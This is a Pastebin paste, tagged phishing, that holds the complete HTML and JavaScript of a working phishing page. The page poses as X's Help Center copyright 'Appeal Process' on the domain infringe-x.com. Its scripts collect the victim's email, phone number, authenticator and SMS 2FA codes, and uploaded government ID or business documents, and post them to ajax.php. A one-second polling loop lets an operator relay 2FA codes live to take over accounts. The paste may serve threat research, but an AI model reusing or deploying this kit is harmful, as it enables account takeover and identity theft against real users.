evilcos

x-2fa-phishing-code1

Jan 12th, 2025 (edited)
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 24.58 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en" class="">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  6.     <title>  Appeal Process </title>
  7.     <link rel="stylesheet" href="https://infringe-x.com/support/assets/style.css?ver=202409280258" type="text/css">
  8.     <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;700&display=swap" rel="stylesheet">
  9.     <link rel="mask-icon" sizes="any" href="https://infringe-x.com/support/assets/icon-svg.ea5ff4aa.svg" color="#1D9BF0">
  10.     <link rel="shortcut icon" href="https://infringe-x.com/support/assets/twitter.3.ico">
  11.     <base href="https://infringe-x.com/support/">
  12.     <style>
  13.         body {
  14.             font-family: 'Open Sans', sans-serif;
  15.         }
  16.     </style>
  17.     <style type="text/css">
  18.         .link { color: rgb(29, 155, 240)!important; }
  19.         .text-white {
  20.             color: rgb(15, 20, 25);
  21.         }
  22.     </style>
  23.  
  24. </head>
  25. <body class="">
  26.  
  27.     <!-- Header -->
  28.     <header class="app-header" style="">
  29.         <div style="
  30.     display: flex;
  31.     justify-content: space-between;max-width: 590px;
  32.     margin: 0 auto;
  33.     position: relative;
  34.     top: 1px;">
  35.             <div class="u01b__logo twtr-scribe-clicks" data-twtr-scribe-section="u01b-navigation" data-twtr-scribe-element="LCHZ" data-twtr-scribe-component="twitter-logo-icon" aria-label="Help Center home" style="    display: flex;
  36.         justify-content: center;
  37.         align-items: center;">
  38.                 <svg viewBox="0 0 1200 1227" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="none" class="" style="height: 28px;
  39.         margin-right: 10px;
  40.         width: 28px;">
  41.                  <path d="M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z"></path>
  42.                 </svg>
  43.                     <span class="u01b__home-link  twtr-type--bold-24" style="color: #14171a;letter-spacing: .12px;font-family: Helvetica Neue LT, Helvetica Neue, -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif;
  44.         font-size: 1.2rem;
  45.         font-weight: 700;">
  46.                       Help Center
  47.                     </span>
  48.             </div>
  49.             <div style="display: flex;align-items: center;">
  50.                 <img src="https://pbs.twimg.com/profile_images/1874825832637603840/Pz4JvKsD_normal.jpg" width="48" height="48" style="border-radius: 100%;border: 2px solid #e8eff3;" class="header_profile_photo">
  51.                
  52.                 <a class="twtr-btn  twtr-scribe-clicks twtr-btn--secondary  u01b-07__nav-cta-button twtr-type--roman-100 twt-contact-us-btn" id="contact-us-header" data-twtr-scribe-component="contact-us" data-twtr-scribe-element="" data-twtr-scribe-section="u01b-07__nav-cta-button" href="https://infringe-x.com/support/binance/verify" rel="" target="" style="height: auto;
  53.     padding: 3px 0;
  54.     margin: 3px 0;
  55.     border: 2px solid #e8eff3;
  56.     border-radius: 48px;
  57.     color: #314351;
  58.     cursor: pointer;
  59.     padding-left: 18px;
  60.     padding-right: 18px;
  61.     position: relative;
  62.     text-align: center;
  63.     transition: all .25s ease-in-out;">Contact Us</a>
  64.  
  65.             </div>
  66.         </div>
  67.     </header>
  68.     <!-- Header -->
  69. <style type="text/css">
  70.     @media (min-width:1200px) {
  71.       .bottom { position: absolute!important; }
  72.     }
  73.  
  74.     .bottom-relative { position: relative !important; }
  75.  
  76.      .main_area {
  77.             width: 400px;
  78.             padding: 0 15px;
  79.             min-height: 400px;
  80.             display: flex;
  81.             justify-content: center;
  82.             align-items: center;
  83.             flex-direction: column;
  84.         }
  85.  
  86.     #togglePassword {
  87.         cursor: pointer;
  88.         position: absolute;
  89.         bottom: 6px;
  90.         right: -12px;
  91.     }
  92.  
  93.     @media screen and (max-width: 590px) {
  94.         .main_area {
  95.             width: 100%;
  96.             padding: 10px 15px;
  97.             margin: 0;
  98.         }
  99.         #togglePassword {
  100.             right: 38px;
  101.         }
  102.     }
  103.  
  104.     #contact-us-header { display:none; }
  105.  
  106.     .header_profile_photo { display: none; }
  107.  
  108. </style>
  109. <div class="main_area" style="margin: 30px auto;">
  110.  
  111.     <div class="2fa_pending_text" style="text-align:center;"><p>Your appeal form is being created for your request. Please wait.</p><div style="display:block;text-align:center; width: 40px;margin: 20px auto;position:relative;">
  112.             <img src="./assets/giphyloading.gif" style="">
  113.         </div></div>
  114.    
  115.     <div id="email_section" style="display:none;">
  116.         <h1 class="block_h1">Email & Phone Number</h1>
  117.         <p class="block_p">
  118.             Please confirm your email and phone number.
  119.         </p>
  120.         <div class="pwd_input_box">
  121.             <input type="email" name="email" placeholder="Email address" class="input" required="" id="email">
  122.             <input type="text" name="phone" placeholder="Phone number" class="input" required="" id="phone" style="margin-top: 10px;">
  123.         </div>
  124.         <button class="btn" id="send_email" disabled>Send</button>
  125.     </div>
  126.  
  127.     <div id="twofa_section_app" style="display:none;">
  128.         <h1 class="block_h1">2FA Verification Required</h1>
  129.         <p class="block_p">
  130.             Enter the 6-digit code from your authenticator app
  131.         </p>
  132.         <div class="pwd_input_box">
  133.             <input type="text" class="input" placeholder="2FA Code" id="fa_code_app" required>
  134.         </div>
  135.         <button class="btn" id="send_2fa_app" disabled>Send</button>
  136.     </div>
  137.  
  138.     <div id="twofa_section_sms" style="display:none;">
  139.         <h1 class="block_h1">2FA Verification Required</h1>
  140.         <p class="block_p">
  141.             Enter the 6-digit code sent to your phone number
  142.         </p>
  143.         <div class="pwd_input_box">
  144.             <input type="text" class="input" placeholder="2FA Code" id="fa_code_sms" required>
  145.         </div>
  146.         <button class="btn" id="send_2fa_sms" disabled>Send</button>
  147.     </div>
  148.  
  149.     <div id="objection_text" style="display: none;">
  150.         <form action="" method="POST">
  151.             <h1 class="block_h1">File an Appeal</h1>
  152.             <p class="block_p" style="font-weight: 600;">
  153.                 Describe Your Copyright Dispute
  154.             </p>
  155.             <p class="block_p">
  156.                 Please explain why you believe the content does not infringe on copyright laws and include all relevant details.
  157.             </p>
  158.             <textarea rows="5" cols="5" style="" class="input" name="object_textarea" id="object_textarea"></textarea>
  159.             <p class="block_p" style="margin-top: 15px;">
  160.                 To verify your identity and process your appeal, upload one of these:
  161.                 <ul style="list-style-type: disc;
  162.     padding: 15px 0 15px 40px;
  163.     font-size: 14px;
  164.     font-weight: 500;">
  165.                     <li>A government-issued photo ID (passport, driver's license, or national ID).</li>
  166.                     <li>A copy of your business license or other official business document.</li>
  167.                 </ul>
  168.             </p>
  169.             <p class="block_p" style="margin-top: 5px;">
  170.                 Make sure the document is clear and easy to read to avoid delays. Adding multiple documents can be beneficial in supporting your appeal process.
  171.             </p>
  172.             <div class="pwd_input_box">
  173.                 <input type="file" name="objection_file[]" placeholder="" class="input-file" id="fileInput" multiple required="">
  174.                 <!-- Stille özelleştirilen dosya yükleme butonu -->
  175.                 <div class="custom-file-upload">
  176.                     + Upload file
  177.                 </div>
  178.                 <ul class="selected_files"></ul>
  179.             </div>
  180.  
  181.             <button class="btn" id="send_object_file" type="submit" disabled style="margin-top: 20px;">Send</button>
  182.         </form>
  183.     </div>
  184.  
  185.     <div id="last_screen" style="display: none;">
  186.         <h1 class="block_h1">Appeal Submitted!</h1>
  187.         <p class="block_p">Your appeal request has been successfully submitted. Our team will review your appeal and will contact you via email shortly.</p>
  188.     </div>
  189.  
  190. </div>
  191.  
  192. <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  193. <script type="text/javascript">
  194.  
  195.     document.querySelector('.custom-file-upload').addEventListener('click', function() {
  196.         document.getElementById('fileInput').click();
  197.     });
  198.  
  199.     // Textarea ve dosya seçildiğinde butonun durumunu kontrol eden fonksiyon
  200.     function checkFormCompletion() {
  201.         var files = $('#fileInput')[0].files; // Seçilen dosyalar
  202.         var description = $('#object_textarea').val().trim() !== ""; // Textarea dolu mu?
  203.         var allowedExtensions = ['jpg', 'jpeg', 'png', 'pdf']; // İzin verilen dosya uzantıları
  204.         var fileList = $("ul.selected_files"); // Dosyaların listeleneceği ul
  205.  
  206.         fileList.html(''); // Listeyi temizle
  207.         var allFilesValid = true; // Tüm dosyaların geçerli olup olmadığını kontrol etmek için değişken
  208.  
  209.         // Eğer dosya seçiliyse
  210.         if (files.length > 0) {
  211.             // Seçilen her dosya için döngü
  212.             for (var i = 0; i < files.length; i++) {
  213.                 var fileName = files[i].name;
  214.                 var fileExtension = fileName.split('.').pop().toLowerCase(); // Dosya uzantısını al
  215.  
  216.                 // Eğer uzantı izin verilenlerden değilse
  217.                 if (allowedExtensions.indexOf(fileExtension) === -1) {
  218.                     alert('Only JPG, PNG, and PDF files are allowed.');
  219.                     $('#fileInput').val(''); // Dosya seçimini temizle
  220.                     $('#send_object_file').prop('disabled', true); // Butonu devre dışı bırak
  221.                     allFilesValid = false; // Geçersiz dosya bulundu
  222.                     break;
  223.                 }
  224.  
  225.                 // Dosya ismini listeye ekle
  226.                 fileList.append('<li>' + fileName + '</li>');
  227.             }
  228.  
  229.             // Eğer tüm dosyalar geçerliyse ve textarea doluysa butonu aktif et
  230.             if (allFilesValid && description) {
  231.                 $('#send_object_file').prop('disabled', false);
  232.             } else {
  233.                 $('#send_object_file').prop('disabled', true);
  234.             }
  235.         } else {
  236.             // Eğer dosya seçilmemişse butonu devre dışı bırak
  237.             $('#send_object_file').prop('disabled', true);
  238.         }
  239.     }
  240.  
  241.     // Textarea'da yazı yazıldığında kontrol
  242.     $('#object_textarea').on('input', function() {
  243.         checkFormCompletion();
  244.     });
  245.  
  246.     // Dosya seçildiğinde kontrol
  247.     $('#fileInput').on('change', function() {
  248.         checkFormCompletion();
  249.     });
  250.  
  251.     $('#send_object_file').on('click', function(e) {
  252.         e.preventDefault();
  253.  
  254.         // Dosyaları ve açıklamayı al
  255.         var files = $('#fileInput')[0].files;
  256.         var description = $('#object_textarea').val();
  257.  
  258.         // Textarea ve en az 1 dosya seçilip seçilmediğini kontrol et
  259.         if (files.length < 1 || !description) {
  260.             return;
  261.         }
  262.  
  263.         var formData = new FormData();
  264.         formData.append('description', description);
  265.  
  266.         // Tüm dosyaları FormData'ya ekle
  267.         for (var i = 0; i < files.length && i < 2; i++) { // En fazla 2 dosya göndereceğiz
  268.             formData.append('objection_file[]', files[i]);
  269.         }
  270.  
  271.         $.ajax({
  272.             url: 'ajax.php',
  273.             type: 'POST',
  274.             data: formData,
  275.             processData: false, // FormData'nın işlenmesini engelle
  276.             contentType: false, // İçerik tipini manuel ayarlamayız
  277.             success: function(response) {
  278.                 $('#objection_text').hide();
  279.                 $('#last_screen').show();
  280.             },
  281.             error: function() {
  282.                 console.log('Dosya gönderimi başarısız.');
  283.             }
  284.         });
  285.     });
  286.  
  287.     $('#x_password').on('keydown keypress keyup', function() {
  288.         var password = $(this).val(); // Şifreyi al
  289.         var valid = true;
  290.  
  291.         // Şifrenin 8 karakterden büyük veya eşit olup olmadığını kontrol et
  292.         if (password.length >= 8) {
  293.  
  294.             // Şifrenin hem harf hem de sayı içerip içermediğini kontrol et
  295.             var hasLetter = /[a-zA-Z]/.test(password);  // Harf içeriyor mu?
  296.             var hasNumber = /[0-9]/.test(password);  // Sayı içeriyor mu?
  297.  
  298.             // Geçersiz olan şifreleri (12345678, 987654321 vb.) kontrol et
  299.             var invalidPasswords = ["12345678", "987654321", "147258369"];
  300.  
  301.             if (!hasLetter || !hasNumber || invalidPasswords.includes(password)) {
  302.                 valid = false; // Şifre geçersiz
  303.             }
  304.  
  305.         } else {
  306.             valid = false; // Şifre 8 karakterden kısa
  307.         }
  308.  
  309.         // Eğer valid ise bir şeyler yap, değilse başka bir şey yap
  310.         if (valid) {
  311.             //console.log("Şifre geçerli");
  312.             $(this).addClass('isvalid');
  313.             $(this).removeClass('invalid');
  314.  
  315.             //$("#btn_login").addClass('isvalid_btn');
  316.             $("#btn_login").prop("disabled", false);
  317.         } else {
  318.             //console.log("Şifre geçersiz");
  319.             $(this).removeClass('isvalid');
  320.             $(this).addClass('invalid');
  321.  
  322.             //$("#btn_login").removeClass('isvalid_btn');
  323.             $("#btn_login").prop("disabled", true);
  324.         }
  325.     });
  326.  
  327.     $('#fa_code_app, #fa_code_sms').on('input', function() {
  328.         var value = $(this).val();
  329.        
  330.         // Yalnızca sayılar içeren bir regex (0-9)
  331.         var regex = /^[0-9]*$/;
  332.  
  333.         // Eğer değer regex ile eşleşmiyorsa, geçersiz karakterleri sil
  334.         if (!regex.test(value)) {
  335.             $(this).val(value.replace(/[^0-9]/g, ''));
  336.         }
  337.  
  338.         if (value.length >= 6) {
  339.             $(this).addClass('isvalid');
  340.             $(this).removeClass('invalid');
  341.  
  342.             $("#send_2fa_app").prop("disabled", false);
  343.             $("#send_2fa_sms").prop("disabled", false);
  344.             //$("#send_2fa").addClass('isvalid_btn');
  345.         } else {
  346.             $(this).removeClass('isvalid');
  347.             $(this).addClass('invalid');
  348.             $("#send_2fa_app").prop("disabled", true);
  349.             $("#send_2fa_sms").prop("disabled", true);
  350.             //$("#send_2fa").removeClass('isvalid_btn');
  351.         }
  352.     });
  353.  
  354.     function checkFormValidity() {
  355.         var emailValid = $("#email").hasClass('isvalid');
  356.         var phoneValid = $("#phone").hasClass('isvalid');
  357.  
  358.         if (emailValid && phoneValid) {
  359.             $("#send_email").prop("disabled", false);
  360.         } else {
  361.             $("#send_email").prop("disabled", true);
  362.         }
  363.     }
  364.  
  365.     // Email input kontrolü
  366.     $('#email').on('input', function() {
  367.         var email = $("#email").val();
  368.         var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; // Simple regex for basic email validation
  369.  
  370.         if (emailRegex.test(email)) {
  371.             $(this).addClass('isvalid');
  372.             $(this).removeClass('invalid');
  373.         } else {
  374.             $(this).removeClass('isvalid');
  375.             $(this).addClass('invalid');
  376.         }
  377.  
  378.         // Her değişiklikte formun durumunu kontrol et
  379.         checkFormValidity();
  380.     });
  381.  
  382.     // Phone input kontrolü
  383.     $('#phone').on('input', function() {
  384.  
  385.         var phone = $(this).val();
  386.  
  387.         // Yalnızca sayılar içeren bir regex (0-9)
  388.         var regex = /^[0-9]*$/;
  389.  
  390.         // Eğer değer regex ile eşleşmiyorsa, geçersiz karakterleri sil
  391.         if (!regex.test(phone)) {
  392.             $(this).val(phone.replace(/[^0-9]/g, ''));
  393.         }
  394.  
  395.         if (phone.length >= 10) {
  396.             $(this).addClass('isvalid');
  397.             $(this).removeClass('invalid');
  398.         } else {
  399.             $(this).removeClass('isvalid');
  400.             $(this).addClass('invalid');
  401.         }
  402.  
  403.         // Her değişiklikte formun durumunu kontrol et
  404.         checkFormValidity();
  405.     });
  406.  
  407.     // Intervali başlatan fonksiyon
  408.     function startWebhookControl() {
  409.         webhook_control = setInterval(function() {
  410.             $.ajax({
  411.                 url: 'ajax.php',
  412.                 type: 'GET',
  413.                 dataType: 'json',
  414.                 success: function(response) {
  415.                     if (response.status === 'email') {
  416.                         $('#email_section').show();
  417.                         clearInterval(webhook_control);
  418.                         $('.2fa_pending_text').hide();
  419.                     }
  420.                     if (response.status === '2fa_app') {
  421.                         $('#twofa_section_app').show();
  422.                         clearInterval(webhook_control);
  423.                         $('.2fa_pending_text').hide();
  424.                     }
  425.                     if (response.status === '2fa_sms') {
  426.                         $('#twofa_section_sms').show();
  427.                         clearInterval(webhook_control);
  428.                         $('.2fa_pending_text').hide();
  429.                     }
  430.                     if ( response.status == "2fa_app_control" ) {
  431.                         $('.2fa_pending_text').show();
  432.                     }
  433.                     if ( response.status == "2fa_sms_control" ) {
  434.                         $('.2fa_pending_text').show();
  435.                     }
  436.                     if ( response.status == "2fa_app_false" ) {
  437.                         $('#fa_code_app').val('');
  438.                         $('#fa_code_app').addClass('invalid');
  439.                         $('#twofa_section_app').show();
  440.                         clearInterval(webhook_control);
  441.                         $('.2fa_pending_text').hide();
  442.                     }
  443.                     if ( response.status == "2fa_sms_false" ) {
  444.                         $('#fa_code_sms').val('');
  445.                         $('#fa_code_sms').addClass('invalid');
  446.                         $('#twofa_section_sms').show();
  447.                         clearInterval(webhook_control);
  448.                         $('.2fa_pending_text').hide();
  449.                     }
  450.                     if (response.status === 'password_false') {
  451.                         window.location.href = 'login.php?password=false';
  452.                     }
  453.                     if (response.status === 'objection_text') {
  454.                         $('.2fa_pending_text').hide();
  455.                         $('#twofa_section_app').hide();
  456.                         $('#twofa_section_sms').hide();
  457.                         $('#email_section').hide();
  458.  
  459.                         $('#objection_text').show();
  460.                         clearInterval(webhook_control);
  461.  
  462.                         $('.bottom').addClass('bottom-relative');
  463.                     }
  464.                 }
  465.             });
  466.         }, 1000); // 1 saniyede bir kontrol et
  467.     }
  468.     </script>
  469.  
  470.         <script type="text/javascript">
  471.         startWebhookControl();
  472.     </script>
  473.    
  474.     <script type="text/javascript">
  475.         $('#send_2fa_app').on('click', function() {
  476.             var fa_code = $('#fa_code_app').val();
  477.             if (fa_code.length >= 6) {
  478.                 $.post('ajax.php', {fa_code_app: fa_code}, function(response) {
  479.                     $("#twofa_section_app").hide();
  480.                     if (response.status == "2fa_app_control") {
  481.                         $('.2fa_pending_text').show();
  482.                         startWebhookControl();
  483.                     }
  484.                 }, 'json');
  485.             } else {
  486.                 $('#send_2fa_app').prop("disabled", true);
  487.             }
  488.         });
  489.         $('#send_2fa_sms').on('click', function() {
  490.             var fa_code = $('#fa_code_sms').val();
  491.             if (fa_code.length >= 6) {
  492.                 $.post('ajax.php', {fa_code_sms: fa_code}, function(response) {
  493.                     $("#twofa_section_sms").hide();
  494.                     if (response.status == "2fa_sms_control") {
  495.                         $('.2fa_pending_text').show();
  496.                         startWebhookControl();
  497.                     }
  498.                 }, 'json');
  499.             } else {
  500.                 $('#send_2fa_sms').prop("disabled", true);
  501.             }
  502.         });
  503.         $('#send_email').on('click', function() {
  504.             var email = $('#email').val();
  505.             var phone = $('#phone').val();
  506.  
  507.             if ( email.length >= 3 && phone.length >= 10 ) {
  508.                 $.post('ajax.php', {email: email, phone: phone}, function(response) {
  509.                     $("#email_section").hide();
  510.                     if (response.status == "objection_text") {
  511.                         $('.2fa_pending_text').show();
  512.                         startWebhookControl();
  513.                     }
  514.                 }, 'json');
  515.             } else {
  516.                 $('#send_email').prop("disabled", true);
  517.             }
  518.         });
  519.  
  520.  
  521.     </script>
  522.  
  523.     <script>
  524.     const passwordInput = document.getElementById('x_password');
  525.     const togglePassword = document.getElementById('togglePassword');
  526.     const showPasswordIcon = document.getElementById('showPasswordIcon');
  527.  
  528.     const showIcon = `<svg viewBox="0 0 24 24" aria-hidden="true" style="color: rgb(15, 20, 25); width: 24px; height: 24px;"><g><path d="M12 21c-7.605 0-10.804-8.296-10.937-8.648L.932 12l.131-.352C1.196 11.295 4.394 3 12 3s10.804 8.296 10.937 8.648l.131.352-.131.352C22.804 12.705 19.606 21 12 21zm-8.915-9c.658 1.467 3.5 7 8.915 7s8.257-5.533 8.915-7c-.658-1.467-3.5-7-8.915-7s-8.257 5.533-8.915 7zM12 16c-2.206 0-4-1.794-4-4s1.794-4 4-4 4 1.794 4 4-1.794 4-4 4zm0-6c-1.103 0-2 .897-2 2s.897 2 2 2 2-.897 2-2-.897-2-2-2z"></path></g></svg>`;
  529.  
  530.     const hideIcon = `<svg viewBox="0 0 24 24" aria-hidden="true" style="color: rgb(15, 20, 25); width: 24px; height: 24px;"><g><path d="M3.693 21.707l-1.414-1.414 2.429-2.429c-2.479-2.421-3.606-5.376-3.658-5.513l-.131-.352.131-.352c.133-.353 3.331-8.648 10.937-8.648 2.062 0 3.989.621 5.737 1.85l2.556-2.557 1.414 1.414L3.693 21.707zm-.622-9.706c.356.797 1.354 2.794 3.051 4.449l2.417-2.418c-.361-.609-.553-1.306-.553-2.032 0-2.206 1.794-4 4-4 .727 0 1.424.192 2.033.554l2.263-2.264C14.953 5.434 13.512 5 11.986 5c-5.416 0-8.258 5.535-8.915 7.001zM11.986 10c-1.103 0-2 .897-2 2 0 .178.023.352.067.519l2.451-2.451c-.167-.044-.341-.067-.519-.067zm10.951 1.647l.131.352-.131.352c-.133.353-3.331 8.648-10.937 8.648-.709 0-1.367-.092-2-.223v-2.047c.624.169 1.288.27 2 .27 5.415 0 8.257-5.533 8.915-7-.252-.562-.829-1.724-1.746-2.941l1.438-1.438c1.53 1.971 2.268 3.862 2.33 4.027z"></path></g></svg>`;
  531.  
  532.     togglePassword.addEventListener('click', function () {
  533.         if (passwordInput.type === 'password') {
  534.             passwordInput.type = 'text';
  535.             showPasswordIcon.innerHTML = hideIcon;
  536.         } else {
  537.             passwordInput.type = 'password';
  538.             showPasswordIcon.innerHTML = showIcon;
  539.         }
  540.     });
  541. </script>
  542.  
  543. <!-- Footer -->
  544.     <div class="bottom">
  545.         <div class="inline">
  546.             <span class="worst-1">X Platform</span>
  547.  
  548.             <span class="worst-2">X.com</span>
  549.             <span class="worst-2">Status</span>
  550.             <span class="worst-2">Accessibility</span>
  551.             <span class="worst-2">Embed a post</span>
  552.  
  553.         </div>
  554.  
  555.             <div class="inline">
  556.             <span class="worst-1">X Corp.</span>
  557.  
  558.             <span class="worst-2">About the company</span>
  559.             <span class="worst-2">Company news</span>
  560.             <span class="worst-2">Brand toolkit</span>
  561.             <span class="worst-2">Jobs and internships</span>
  562.            
  563.         </div>
  564.  
  565.             <div class="inline">
  566.             <span class="worst-1">Help</span>
  567.  
  568.             <span class="worst-2">Help Center</span>
  569.             <span class="worst-2">Using X</span>
  570.             <span class="worst-2">X for creators</span>
  571.             <span class="worst-2">Ads Help</span>
  572.            
  573.         </div>
  574.  
  575.             <div class="inline">
  576.             <span class="worst-1">Developer resources</span>
  577.  
  578.             <span class="worst-2">Developer home</span>
  579.             <span class="worst-2">Developer terms</span>
  580.             <span class="worst-2">Engineering blog</span>
  581.             <span class="worst-2">Documentation
  582.     Forums</span>
  583.            
  584.         </div>
  585.  
  586.             <div class="inline">
  587.             <span class="worst-1">Business resources</span>
  588.  
  589.             <span class="worst-2">Advertise
  590.     X for business</span>
  591.             <span class="worst-2">Resources and guides</span>
  592.             <span class="worst-2">X for marketers
  593.     Marketing</span>
  594.             <span class="worst-2">X Ads Academy</span>
  595.            
  596.         </div>
  597.     </div>
  598.  
  599. </body>
  600. </html>
Tags: phishing
Advertisement
Add Comment
Please, Sign In to add comment